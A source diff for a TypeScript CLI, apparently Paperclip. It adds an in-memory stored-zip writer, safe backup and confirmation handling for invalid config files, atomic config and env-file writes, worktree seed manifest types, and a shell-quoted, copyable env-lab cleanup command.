`Desired company skills updated with ${mode} mode for ${agentRow.name} (${agentRow.id}); runtime sync returned ${snapshot?.entries.length ?? 0} entrie(s).`,
|
||||
);
|
||||
printAgentSkillSnapshot(snapshot, agentRow);
|
||||
} catch (err) {
|
||||
@@ -548,7 +556,7 @@ function registerAgentSkillCommands(skills: Command): void {
|
||||
);
|
||||
const snapshot = await ctx.api.post<AgentSkillSnapshot>(
|
||||
`/api/agents/${encodeURIComponent(agentRow.id)}/skills/sync`,
|
||||
{ desiredSkills: [] },
|
||||
{ desiredSkills: [], mode: "replace" },
|
||||
);
|
||||
if (ctx.json) {
|
||||
printOutput(snapshot, { json: true });
|
||||
|
||||
@@ -8,3 +8,110 @@ export {
|
||||
isBlobStorePath,
|
||||
readZipArchive,
|
||||
} from "@paperclipai/shared/portability-zip";
|
||||
|
||||
// STORE-only zip writer used to package a local folder in memory for the
|
||||
// chunked import transfer path. STORE keeps the writer dependency-free; the
|
||||
// transfer slices the raw archive bytes, so compression only trades CPU for
|
||||
// part count. Classic zip only: entry counts and offsets past the 16/32-bit
|
||||
// header fields would need zip64, which the reader side does not require and
|
||||
// this writer refuses to emit.
|
||||
|
||||
const ZIP_MAX_ENTRIES = 0xffff;
|
||||
const ZIP_MAX_OFFSET_BYTES = 0xffffffff;
|
||||
|
||||
function writeUint16(target: Uint8Array, offset: number, value: number) {
|
||||
target[offset] = value & 0xff;
|
||||
target[offset + 1] = (value >>> 8) & 0xff;
|
||||
}
|
||||
|
||||
function writeUint32(target: Uint8Array, offset: number, value: number) {
|
||||
target[offset] = value & 0xff;
|
||||
target[offset + 1] = (value >>> 8) & 0xff;
|
||||
target[offset + 2] = (value >>> 16) & 0xff;
|
||||
target[offset + 3] = (value >>> 24) & 0xff;
|
||||
}
|
||||
|
||||
function crc32(bytes: Uint8Array) {
|
||||
let crc = 0xffffffff;
|
||||
for (const byte of bytes) {
|
||||
crc ^= byte;
|
||||
for (let bit = 0; bit < 8; bit += 1) {
|
||||
crc = (crc & 1) === 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1;
|
||||
}
|
||||
}
|
||||
return (crc ^ 0xffffffff) >>> 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a stored (uncompressed) zip of `files` under a single `rootPath/`
|
||||
* top-level directory — the layout `readZipArchive` folds back into the
|
||||
* inline `{ rootPath, files }` bundle. Entries are written in sorted path
|
||||
* order and carry no timestamps, so the same content always produces the
|
||||
* same bytes and a re-run resumes its content-addressed transfer.
|
||||
*/
|
||||
export function createStoredZipArchive(files: Record<string, Uint8Array>, rootPath: string): Uint8Array {
|
||||
const entries = Object.entries(files).sort(([left], [right]) => left.localeCompare(right));
|
||||
if (entries.length > ZIP_MAX_ENTRIES) {
|
||||
throw new Error(`Package has too many files to zip (${entries.length}; the zip format caps at ${ZIP_MAX_ENTRIES}).`);
|
||||
}
|
||||
const encoder = new TextEncoder();
|
||||
const localChunks: Uint8Array[] = [];
|
||||
const centralChunks: Uint8Array[] = [];
|
||||
let localOffset = 0;
|
||||
|
||||
for (const [relativePath, body] of entries) {
|
||||
const fileName = encoder.encode(`${rootPath}/${relativePath}`);
|
||||
const checksum = crc32(body);
|
||||
|
||||
const localHeader = new Uint8Array(30 + fileName.length);
|
||||
writeUint32(localHeader, 0, 0x04034b50);
|
||||
writeUint16(localHeader, 4, 20);
|
||||
writeUint16(localHeader, 6, 0x0800);
|
||||
writeUint16(localHeader, 8, 0);
|
||||
writeUint32(localHeader, 14, checksum);
|
||||
writeUint32(localHeader, 18, body.length);
|
||||
writeUint32(localHeader, 22, body.length);
|
||||
writeUint16(localHeader, 26, fileName.length);
|
||||
localHeader.set(fileName, 30);
|
||||
|
||||
const centralHeader = new Uint8Array(46 + fileName.length);
|
||||
writeUint32(centralHeader, 0, 0x02014b50);
|
||||
writeUint16(centralHeader, 4, 20);
|
||||
writeUint16(centralHeader, 6, 20);
|
||||
writeUint16(centralHeader, 8, 0x0800);
|
||||
writeUint16(centralHeader, 10, 0);
|
||||
writeUint32(centralHeader, 16, checksum);
|
||||
writeUint32(centralHeader, 20, body.length);
|
||||
writeUint32(centralHeader, 24, body.length);
|
||||
writeUint16(centralHeader, 28, fileName.length);
|
||||
writeUint32(centralHeader, 42, localOffset);
|
||||
centralHeader.set(fileName, 46);
|
||||
|
||||
localChunks.push(localHeader, body);
|
||||
centralChunks.push(centralHeader);
|
||||
localOffset += localHeader.length + body.length;
|
||||
if (body.length > ZIP_MAX_OFFSET_BYTES || localOffset > ZIP_MAX_OFFSET_BYTES) {
|
||||
throw new Error("Package is too large to zip in memory (zip64 archives are not supported).");
|
||||
}
|
||||
}
|
||||
|
||||
const centralDirectoryLength = centralChunks.reduce((sum, chunk) => sum + chunk.length, 0);
|
||||
const archive = new Uint8Array(localOffset + centralDirectoryLength + 22);
|
||||
let offset = 0;
|
||||
for (const chunk of localChunks) {
|
||||
archive.set(chunk, offset);
|
||||
offset += chunk.length;
|
||||
}
|
||||
const centralDirectoryOffset = offset;
|
||||
for (const chunk of centralChunks) {
|
||||
archive.set(chunk, offset);
|
||||
offset += chunk.length;
|
||||
}
|
||||
writeUint32(archive, offset, 0x06054b50);
|
||||
writeUint16(archive, offset + 8, entries.length);
|
||||
writeUint16(archive, offset + 10, entries.length);
|
||||
writeUint32(archive, offset + 12, centralDirectoryLength);
|
||||
writeUint32(archive, offset + 16, centralDirectoryOffset);
|
||||
|
||||
return archive;
|
||||
}
|
||||
@@ -1,7 +1,16 @@
|
||||
import * as p from "@clack/prompts";
|
||||
import pc from "picocolors";
|
||||
import { readConfig, writeConfig, configExists, resolveConfigPath } from "../config/store.js";
|
||||
import type { PaperclipConfig } from "../config/schema.js";
|
||||
import {
|
||||
backupInvalidConfig,
|
||||
readConfig,
|
||||
writeConfig,
|
||||
configExists,
|
||||
resolveConfigPath,
|
||||
} from "../config/store.js";
|
||||
import {
|
||||
findPaperclipConfigKeyWarnings,
|
||||
type PaperclipConfig,
|
||||
} from "../config/schema.js";
|
||||
import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js";
|
||||
import { promptDatabase } from "../prompts/database.js";
|
||||
import { promptLlm } from "../prompts/llm.js";
|
||||
@@ -88,15 +97,39 @@ export async function configure(opts: {
|
||||
}
|
||||
|
||||
let config: PaperclipConfig;
|
||||
let invalidBackupPath: string | undefined;
|
||||
try {
|
||||
config = readConfig(opts.config) ?? defaultConfig();
|
||||
for (const warning of findPaperclipConfigKeyWarnings(config)) {
|
||||
p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`);
|
||||
}
|
||||
} catch (err) {
|
||||
p.log.message(
|
||||
pc.yellow(
|
||||
`Existing config is invalid. Loading defaults so you can repair it now.\n${err instanceof Error ? err.message : String(err)}`,
|
||||
),
|
||||
const backupPath = backupInvalidConfig(opts.config);
|
||||
p.log.warn(
|
||||
`Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`,
|
||||
);
|
||||
|
||||
if (!process.stdin.isTTY || !process.stdout.isTTY) {
|
||||
p.log.error(
|
||||
`Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`,
|
||||
);
|
||||
p.outro("");
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
const repair = await p.confirm({
|
||||
message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`,
|
||||
initialValue: false,
|
||||
});
|
||||
if (p.isCancel(repair) || !repair) {
|
||||
p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
config = defaultConfig();
|
||||
invalidBackupPath = backupPath;
|
||||
}
|
||||
|
||||
let section: Section | undefined = opts.section as Section | undefined;
|
||||
@@ -179,8 +212,15 @@ export async function configure(opts: {
|
||||
config.$meta.updatedAt = new Date().toISOString();
|
||||
config.$meta.source = "configure";
|
||||
|
||||
writeConfig(config, opts.config);
|
||||
p.log.success(`${SECTION_LABELS[section]} configuration updated.`);
|
||||
const written = writeConfig(config, opts.config, {
|
||||
invalidBackupPath,
|
||||
});
|
||||
invalidBackupPath = undefined;
|
||||
if (written) {
|
||||
p.log.success(`${SECTION_LABELS[section]} configuration updated.`);
|
||||
} else {
|
||||
p.log.message(pc.dim(`${SECTION_LABELS[section]} configuration unchanged.`));
|
||||
}
|
||||
|
||||
// If section was provided via CLI flag, don't loop
|
||||
if (opts.section) {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import path from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import type { Command } from "commander";
|
||||
import * as p from "@clack/prompts";
|
||||
import pc from "picocolors";
|
||||
@@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea
|
||||
p.log.message(`State: ${pc.dim(statePath)}`);
|
||||
}
|
||||
|
||||
// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so
|
||||
// a contributor can paste it into a shell. A checkout path can hold shell
|
||||
// metacharacters, such as `$`, a backtick, or a double quote. Inside double
|
||||
// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and
|
||||
// a double quote in the path ends the quoted span. So double quotes do not make
|
||||
// the path safe. Single quotes stop every expansion. This function wraps the
|
||||
// value in single quotes and rewrites each embedded single quote as the `'\''`
|
||||
// sequence. The shell then reads the exact path and runs no embedded command.
|
||||
function shellQuoteArgument(value: string): string {
|
||||
return "'" + value.replace(/'/g, "'\\''") + "'";
|
||||
}
|
||||
|
||||
// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build
|
||||
// emits one `dist/index.js` file, so node runs that file directly and `tsxBin`
|
||||
// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx
|
||||
// runner, because the entry is TypeScript.
|
||||
interface EnvLabCliInvocation {
|
||||
entry: string;
|
||||
tsxBin: string | null;
|
||||
}
|
||||
|
||||
// Resolve how to re-run the CLI from the running module location. The cleanup
|
||||
// hint must run the same CLI that prints it, so it stops the correct version.
|
||||
// `import.meta.url` gives the running module. The bundled build runs this module
|
||||
// from `<cli>/dist/index.js`, so the hint runs that exact file with node. The
|
||||
// published package ships no `src` directory and no tsx runner. A source
|
||||
// checkout runs this module from `<cli>/src/commands/env-lab.ts`, so the hint
|
||||
// runs `<cli>/src/index.ts` through the checked-out tsx runner. This resolver
|
||||
// reads an absolute path from the module location, so the hint works from any
|
||||
// working directory. The `modulePath` parameter is a test seam; production
|
||||
// callers use the running module path.
|
||||
export function resolveEnvLabCliInvocation(
|
||||
modulePath: string = fileURLToPath(import.meta.url),
|
||||
): EnvLabCliInvocation {
|
||||
const moduleDir = path.dirname(modulePath);
|
||||
const isSourceCheckout =
|
||||
path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src";
|
||||
if (isSourceCheckout) {
|
||||
const cliRoot = path.resolve(moduleDir, "..", "..");
|
||||
return {
|
||||
entry: path.join(cliRoot, "src", "index.ts"),
|
||||
tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"),
|
||||
};
|
||||
}
|
||||
return { entry: modulePath, tsxBin: null };
|
||||
}
|
||||
|
||||
// Build the env-lab cleanup hint as a copyable shell command. The hint stops the
|
||||
// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it,
|
||||
// so it stops the correct version, and it forwards the inspected instance, so it
|
||||
// stops the correct instance. It passes an inert `argv` value, so no shell reads
|
||||
// the argument. Each path and the instance id pass through `shellQuoteArgument`,
|
||||
// so a shell metacharacter stays inert when a contributor pastes the command.
|
||||
// The `invocation` parameter is a test seam; production callers use the resolved
|
||||
// running-module invocation.
|
||||
export function buildEnvLabCleanupCommand(
|
||||
opts: { instance?: string; invocation?: EnvLabCliInvocation } = {},
|
||||
): string {
|
||||
const invocation = opts.invocation ?? resolveEnvLabCliInvocation();
|
||||
const parts = ["node"];
|
||||
if (invocation.tsxBin !== null) {
|
||||
parts.push(shellQuoteArgument(invocation.tsxBin));
|
||||
}
|
||||
parts.push(shellQuoteArgument(invocation.entry), "env-lab down");
|
||||
if (opts.instance !== undefined) {
|
||||
parts.push("--instance", shellQuoteArgument(opts.instance));
|
||||
}
|
||||
return parts.join(" ");
|
||||
}
|
||||
|
||||
export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) {
|
||||
const status = await collectEnvLabDoctorStatus(opts);
|
||||
|
||||
@@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool
|
||||
p.log.message(`State: ${pc.dim(status.statePath)}`);
|
||||
}
|
||||
|
||||
p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`);
|
||||
// The cleanup hint runs the same CLI that prints it, so it stops the correct
|
||||
// version. The bundled build runs `dist/index.js`; a source checkout runs
|
||||
// `src/index.ts` through the checked-out tsx runner. The hint uses absolute
|
||||
// paths, so it works from any working directory. It passes an inert `argv`
|
||||
// value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation".
|
||||
//
|
||||
// The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects
|
||||
// from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable.
|
||||
// The hint pins that resolved instance, so a contributor who pastes the hint
|
||||
// in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not
|
||||
// the default instance.
|
||||
const cleanupInstance = resolvePaperclipInstanceId(opts.instance);
|
||||
p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`);
|
||||
}
|
||||
|
||||
export function registerEnvLabCommands(program: Command) {
|
||||
|
||||
@@ -5,6 +5,7 @@ import { execFile } from "node:child_process";
|
||||
import { promisify } from "node:util";
|
||||
import * as p from "@clack/prompts";
|
||||
import pc from "picocolors";
|
||||
import { isSupportedNodeVersion, MINIMUM_NODE_VERSION } from "@paperclipai/shared/node-version";
|
||||
import {
|
||||
addManagedPathBlock,
|
||||
assertManagedShimWritable,
|
||||
@@ -84,9 +85,8 @@ export function resolveGitInstallWorkspacePackages(checkoutPath: string): Releas
|
||||
}
|
||||
|
||||
function assertSupportedNodeVersion(): void {
|
||||
const major = Number(process.versions.node.split(".")[0]);
|
||||
if (!Number.isFinite(major) || major < 20) {
|
||||
throw new Error(`Managed installs require Node.js 20 or newer (found ${process.version}).`);
|
||||
if (!isSupportedNodeVersion(process.versions.node)) {
|
||||
throw new Error(`Managed installs require Node.js ${MINIMUM_NODE_VERSION} or newer (found ${process.version}).`);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -17,8 +17,17 @@ import {
|
||||
type SecretProvider,
|
||||
type StorageProvider,
|
||||
} from "@paperclipai/shared";
|
||||
import { configExists, readConfig, resolveConfigPath, writeConfig } from "../config/store.js";
|
||||
import type { PaperclipConfig } from "../config/schema.js";
|
||||
import {
|
||||
backupInvalidConfig,
|
||||
configExists,
|
||||
readConfig,
|
||||
resolveConfigPath,
|
||||
writeConfig,
|
||||
} from "../config/store.js";
|
||||
import {
|
||||
findPaperclipConfigKeyWarnings,
|
||||
type PaperclipConfig,
|
||||
} from "../config/schema.js";
|
||||
import { ensureAgentJwtSecret, resolveAgentJwtEnvFile } from "../config/env.js";
|
||||
import { ensureLocalSecretsKeyFile } from "../config/secrets-key.js";
|
||||
import { promptDatabase } from "../prompts/database.js";
|
||||
@@ -356,17 +365,45 @@ export async function onboard(opts: OnboardOptions): Promise<void> {
|
||||
);
|
||||
|
||||
let existingConfig: PaperclipConfig | null = null;
|
||||
let invalidBackupPath: string | undefined;
|
||||
if (configExists(opts.config)) {
|
||||
p.log.message(pc.dim(`${configPath} exists`));
|
||||
|
||||
try {
|
||||
existingConfig = readConfig(opts.config);
|
||||
for (const warning of findPaperclipConfigKeyWarnings(existingConfig)) {
|
||||
p.log.warn(`Unknown config key ${warning.path}; did you mean ${warning.suggestion}? It will be preserved.`);
|
||||
}
|
||||
} catch (err) {
|
||||
p.log.message(
|
||||
pc.yellow(
|
||||
`Existing config appears invalid and will be updated.\n${err instanceof Error ? err.message : String(err)}`,
|
||||
),
|
||||
const backupPath = backupInvalidConfig(opts.config);
|
||||
p.log.warn(
|
||||
`Existing config is invalid. Preserved the original bytes at ${backupPath}.\n${err instanceof Error ? err.message : String(err)}`,
|
||||
);
|
||||
|
||||
const canConfirmRepair =
|
||||
opts.yes !== true &&
|
||||
opts.invokedByRun !== true &&
|
||||
process.stdin.isTTY === true &&
|
||||
process.stdout.isTTY === true;
|
||||
if (!canConfirmRepair) {
|
||||
p.log.error(
|
||||
`Refusing to replace ${configPath} without confirmation. Rerun interactively to repair from defaults; the original and ${backupPath} are unchanged.`,
|
||||
);
|
||||
p.outro("");
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
const repair = await p.confirm({
|
||||
message: `Repair from defaults? The invalid original is backed up at ${backupPath}.`,
|
||||
initialValue: false,
|
||||
});
|
||||
if (p.isCancel(repair) || !repair) {
|
||||
p.cancel(`Configuration left unchanged. Invalid backup: ${backupPath}`);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
invalidBackupPath = backupPath;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -646,7 +683,9 @@ export async function onboard(opts: OnboardOptions): Promise<void> {
|
||||
p.log.message(pc.dim(`Using existing local secrets key file at ${keyResult.path}`));
|
||||
}
|
||||
|
||||
writeConfig(config, opts.config);
|
||||
writeConfig(config, opts.config, {
|
||||
invalidBackupPath,
|
||||
});
|
||||
|
||||
if (tc) trackInstallCompleted(tc, {
|
||||
adapterType: server.deploymentMode,
|
||||
|
||||
@@ -5,12 +5,52 @@ import { expandHomePrefix } from "../config/home.js";
|
||||
|
||||
export const DEFAULT_WORKTREE_HOME = "~/.paperclip-worktrees";
|
||||
export const WORKTREE_SEED_MODES = ["minimal", "full"] as const;
|
||||
export const WORKTREE_SEED_MANIFEST = "seed-manifest.json";
|
||||
export const WORKTREE_SEED_PENDING_MARKER = "seed-pending";
|
||||
export const WORKTREE_SEED_COMPLETE_MARKER = "seed-complete";
|
||||
export const WORKTREE_SEED_LOCK_MARKER = "seed.lock";
|
||||
|
||||
export type WorktreeSeedMode = (typeof WORKTREE_SEED_MODES)[number];
|
||||
|
||||
export const WORKTREE_SEED_PHASES = [
|
||||
"pending",
|
||||
"source_validation",
|
||||
"snapshot",
|
||||
"restore",
|
||||
"migrations",
|
||||
"execution_quarantine",
|
||||
"routine_pause",
|
||||
"workspace_rebind",
|
||||
"post_restore_validation",
|
||||
"complete",
|
||||
] as const;
|
||||
|
||||
export type WorktreeSeedPhase = (typeof WORKTREE_SEED_PHASES)[number];
|
||||
export type WorktreeSeedState = "pending" | "running" | "verified" | "failed";
|
||||
|
||||
export type WorktreeSeedManifest = {
|
||||
version: 2;
|
||||
source: {
|
||||
instanceId: string;
|
||||
configPath: string;
|
||||
};
|
||||
snapshotAt: string | null;
|
||||
seedMode: WorktreeSeedMode;
|
||||
migrationRevision: string | null;
|
||||
targetInstanceId: string;
|
||||
phase: WorktreeSeedPhase;
|
||||
state: WorktreeSeedState;
|
||||
attemptId: string;
|
||||
startedAt: string | null;
|
||||
finishedAt: string | null;
|
||||
diagnostics: Array<{
|
||||
phase: WorktreeSeedPhase;
|
||||
status: "started" | "succeeded" | "failed";
|
||||
at: string;
|
||||
message?: string;
|
||||
}>;
|
||||
};
|
||||
|
||||
export type WorktreeSeedPlan = {
|
||||
mode: WorktreeSeedMode;
|
||||
excludedTables: string[];
|
||||
@@ -54,6 +94,7 @@ export type WorktreeUiBranding = {
|
||||
};
|
||||
|
||||
export type WorktreeSeedMarkerPaths = {
|
||||
manifest: string;
|
||||
pending: string;
|
||||
complete: string;
|
||||
lock: string;
|
||||
@@ -62,6 +103,7 @@ export type WorktreeSeedMarkerPaths = {
|
||||
export function resolveWorktreeSeedMarkerPaths(configPath: string): WorktreeSeedMarkerPaths {
|
||||
const configDir = path.dirname(path.resolve(configPath));
|
||||
return {
|
||||
manifest: path.resolve(configDir, WORKTREE_SEED_MANIFEST),
|
||||
pending: path.resolve(configDir, WORKTREE_SEED_PENDING_MARKER),
|
||||
complete: path.resolve(configDir, WORKTREE_SEED_COMPLETE_MARKER),
|
||||
lock: path.resolve(configDir, WORKTREE_SEED_LOCK_MARKER),
|
||||
|
||||
+1021
-122
File diff suppressed because it is too large.
Load diff
+20
-20
@@ -2,9 +2,11 @@ import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { randomBytes } from "node:crypto";
|
||||
import { config as loadDotenv, parse as parseEnvFileContents } from "dotenv";
|
||||
import { updateEnvFileContents, writeEnvFileAtomicallyIfChanged } from "@paperclipai/shared/env-file";
|
||||
import { resolveConfigPath } from "./store.js";
|
||||
|
||||
const JWT_SECRET_ENV_KEY = "PAPERCLIP_AGENT_JWT_SECRET";
|
||||
const PAPERCLIP_OWNED_ENV_KEY_PATTERN = /^PAPERCLIP_[A-Z0-9_]+$/;
|
||||
function resolveEnvFilePath(configPath?: string) {
|
||||
return path.resolve(path.dirname(resolveConfigPath(configPath)), ".env");
|
||||
}
|
||||
@@ -22,21 +24,20 @@ function parseEnvFile(contents: string) {
|
||||
}
|
||||
}
|
||||
|
||||
function formatEnvValue(value: string): string {
|
||||
if (/^[A-Za-z0-9_./:@-]+$/.test(value)) {
|
||||
return value;
|
||||
}
|
||||
return JSON.stringify(value);
|
||||
}
|
||||
|
||||
function renderEnvFile(entries: Record<string, string>) {
|
||||
const lines = [
|
||||
function emptyEnvFileContents() {
|
||||
return [
|
||||
"# Paperclip environment variables",
|
||||
"# Generated by Paperclip CLI commands",
|
||||
...Object.entries(entries).map(([key, value]) => `${key}=${formatEnvValue(value)}`),
|
||||
"",
|
||||
];
|
||||
return lines.join("\n");
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
function paperclipOwnedEntries(entries: Record<string, string>): Record<string, string> {
|
||||
return Object.fromEntries(
|
||||
Object.entries(entries).filter(
|
||||
([key, value]) => PAPERCLIP_OWNED_ENV_KEY_PATTERN.test(key) && value.trim().length > 0,
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
export function resolvePaperclipEnvFile(configPath?: string): string {
|
||||
@@ -102,11 +103,11 @@ export function readPaperclipEnvEntries(filePath = resolveEnvFilePath()): Record
|
||||
}
|
||||
|
||||
export function writePaperclipEnvEntries(entries: Record<string, string>, filePath = resolveEnvFilePath()): void {
|
||||
const dir = path.dirname(filePath);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(filePath, renderEnvFile(entries), {
|
||||
mode: 0o600,
|
||||
const previousContents = fs.existsSync(filePath) ? fs.readFileSync(filePath, "utf8") : null;
|
||||
const nextContents = updateEnvFileContents(previousContents ?? emptyEnvFileContents(), paperclipOwnedEntries(entries), {
|
||||
valueEncoding: "minimal",
|
||||
});
|
||||
writeEnvFileAtomicallyIfChanged(filePath, previousContents, nextContents);
|
||||
}
|
||||
|
||||
export function mergePaperclipEnvEntries(
|
||||
@@ -114,12 +115,11 @@ export function mergePaperclipEnvEntries(
|
||||
filePath = resolveEnvFilePath(),
|
||||
): Record<string, string> {
|
||||
const current = readPaperclipEnvEntries(filePath);
|
||||
const managedEntries = paperclipOwnedEntries(entries);
|
||||
const next = {
|
||||
...current,
|
||||
...Object.fromEntries(
|
||||
Object.entries(entries).filter(([, value]) => typeof value === "string" && value.trim().length > 0),
|
||||
),
|
||||
...managedEntries,
|
||||
};
|
||||
writePaperclipEnvEntries(next, filePath);
|
||||
writePaperclipEnvEntries(managedEntries, filePath);
|
||||
return next;
|
||||
}
|
||||
@@ -8,11 +8,15 @@ export {
|
||||
serverConfigSchema,
|
||||
authConfigSchema,
|
||||
telemetryConfigSchema,
|
||||
updatesConfigSchema,
|
||||
storageConfigSchema,
|
||||
storageLocalDiskConfigSchema,
|
||||
storageS3ConfigSchema,
|
||||
secretsConfigSchema,
|
||||
secretsLocalEncryptedConfigSchema,
|
||||
mergePaperclipConfig,
|
||||
findPaperclipConfigKeyWarnings,
|
||||
type ConfigKeyWarning,
|
||||
type PaperclipConfig,
|
||||
type LlmConfig,
|
||||
type DatabaseBackupConfig,
|
||||
@@ -27,4 +31,5 @@ export {
|
||||
type SecretsConfig,
|
||||
type SecretsLocalEncryptedConfig,
|
||||
type ConfigMeta,
|
||||
type UpdatesConfig,
|
||||
} from "../../../packages/shared/src/config-schema.js";
|
||||
+120
-7
@@ -1,6 +1,11 @@
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { paperclipConfigSchema, type PaperclipConfig } from "./schema.js";
|
||||
import { isDeepStrictEqual } from "node:util";
|
||||
import {
|
||||
mergePaperclipConfig,
|
||||
paperclipConfigSchema,
|
||||
type PaperclipConfig,
|
||||
} from "./schema.js";
|
||||
import {
|
||||
resolveDefaultConfigPath,
|
||||
resolvePaperclipInstanceId,
|
||||
@@ -95,24 +100,132 @@ export function readConfig(configPath?: string): PaperclipConfig | null {
|
||||
return parsed.data;
|
||||
}
|
||||
|
||||
function effectiveConfig(config: PaperclipConfig): Record<string, unknown> {
|
||||
const meta = { ...config.$meta } as Record<string, unknown>;
|
||||
delete meta.updatedAt;
|
||||
delete meta.source;
|
||||
return {
|
||||
...config,
|
||||
$meta: meta,
|
||||
};
|
||||
}
|
||||
|
||||
function syncDirectory(directoryPath: string): void {
|
||||
let directoryDescriptor: number | null = null;
|
||||
try {
|
||||
directoryDescriptor = fs.openSync(directoryPath, "r");
|
||||
fs.fsyncSync(directoryDescriptor);
|
||||
} catch (error) {
|
||||
const code = error instanceof Error && "code" in error ? error.code : null;
|
||||
if (process.platform !== "win32" || !["EACCES", "EINVAL", "EISDIR", "ENOTSUP", "EPERM"].includes(String(code))) {
|
||||
throw error;
|
||||
}
|
||||
} finally {
|
||||
if (directoryDescriptor !== null) fs.closeSync(directoryDescriptor);
|
||||
}
|
||||
}
|
||||
|
||||
function durableCopyFile(sourcePath: string, destinationPath: string, flags = 0): void {
|
||||
fs.copyFileSync(sourcePath, destinationPath, flags);
|
||||
fs.chmodSync(destinationPath, 0o600);
|
||||
|
||||
const backupDescriptor = fs.openSync(destinationPath, "r");
|
||||
try {
|
||||
fs.fsyncSync(backupDescriptor);
|
||||
} finally {
|
||||
fs.closeSync(backupDescriptor);
|
||||
}
|
||||
syncDirectory(path.dirname(destinationPath));
|
||||
}
|
||||
|
||||
function atomicWriteFile(filePath: string, contents: string): void {
|
||||
let attempt = 0;
|
||||
|
||||
while (true) {
|
||||
const temporaryPath = `${filePath}.tmp-${process.pid}-${attempt}`;
|
||||
attempt += 1;
|
||||
let fileDescriptor: number | null = null;
|
||||
try {
|
||||
fileDescriptor = fs.openSync(temporaryPath, "wx", 0o600);
|
||||
fs.writeFileSync(fileDescriptor, contents, "utf8");
|
||||
fs.fsyncSync(fileDescriptor);
|
||||
fs.closeSync(fileDescriptor);
|
||||
fileDescriptor = null;
|
||||
fs.renameSync(temporaryPath, filePath);
|
||||
syncDirectory(path.dirname(filePath));
|
||||
return;
|
||||
} catch (error) {
|
||||
if (fileDescriptor !== null) fs.closeSync(fileDescriptor);
|
||||
fs.rmSync(temporaryPath, { force: true });
|
||||
const code = error instanceof Error && "code" in error ? error.code : null;
|
||||
if (code === "EEXIST") continue;
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function backupInvalidConfig(configPath?: string): string {
|
||||
const filePath = resolveConfigPath(configPath);
|
||||
if (!fs.existsSync(filePath)) {
|
||||
throw new Error(`Cannot back up missing config at ${filePath}`);
|
||||
}
|
||||
|
||||
for (let suffix = 1; ; suffix += 1) {
|
||||
const backupPath = `${filePath}.invalid-${suffix}`;
|
||||
try {
|
||||
durableCopyFile(filePath, backupPath, fs.constants.COPYFILE_EXCL);
|
||||
return backupPath;
|
||||
} catch (error) {
|
||||
const code = error instanceof Error && "code" in error ? error.code : null;
|
||||
if (code === "EEXIST") continue;
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function writeConfig(
|
||||
config: PaperclipConfig,
|
||||
configPath?: string,
|
||||
): void {
|
||||
options: { invalidBackupPath?: string } = {},
|
||||
): boolean {
|
||||
const filePath = resolveConfigPath(configPath);
|
||||
const dir = path.dirname(filePath);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
|
||||
let nextConfig = paperclipConfigSchema.parse(config);
|
||||
if (fs.existsSync(filePath)) {
|
||||
try {
|
||||
const source = paperclipConfigSchema.parse(migrateLegacyConfig(parseJson(filePath)));
|
||||
nextConfig = paperclipConfigSchema.parse(mergePaperclipConfig(source, nextConfig));
|
||||
if (isDeepStrictEqual(effectiveConfig(source), effectiveConfig(nextConfig))) {
|
||||
return false;
|
||||
}
|
||||
} catch (error) {
|
||||
const invalidBackupPath = options.invalidBackupPath;
|
||||
if (!invalidBackupPath) {
|
||||
throw new Error(
|
||||
`Refusing to overwrite invalid config at ${filePath}: ${error instanceof Error ? error.message : String(error)}`,
|
||||
);
|
||||
}
|
||||
if (
|
||||
!fs.existsSync(invalidBackupPath) ||
|
||||
!fs.readFileSync(filePath).equals(fs.readFileSync(invalidBackupPath))
|
||||
) {
|
||||
throw new Error(
|
||||
`Refusing to overwrite ${filePath} because it changed after the invalid backup was created`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Backup existing config before overwriting
|
||||
if (fs.existsSync(filePath)) {
|
||||
const backupPath = filePath + ".backup";
|
||||
fs.copyFileSync(filePath, backupPath);
|
||||
fs.chmodSync(backupPath, 0o600);
|
||||
durableCopyFile(filePath, backupPath);
|
||||
}
|
||||
|
||||
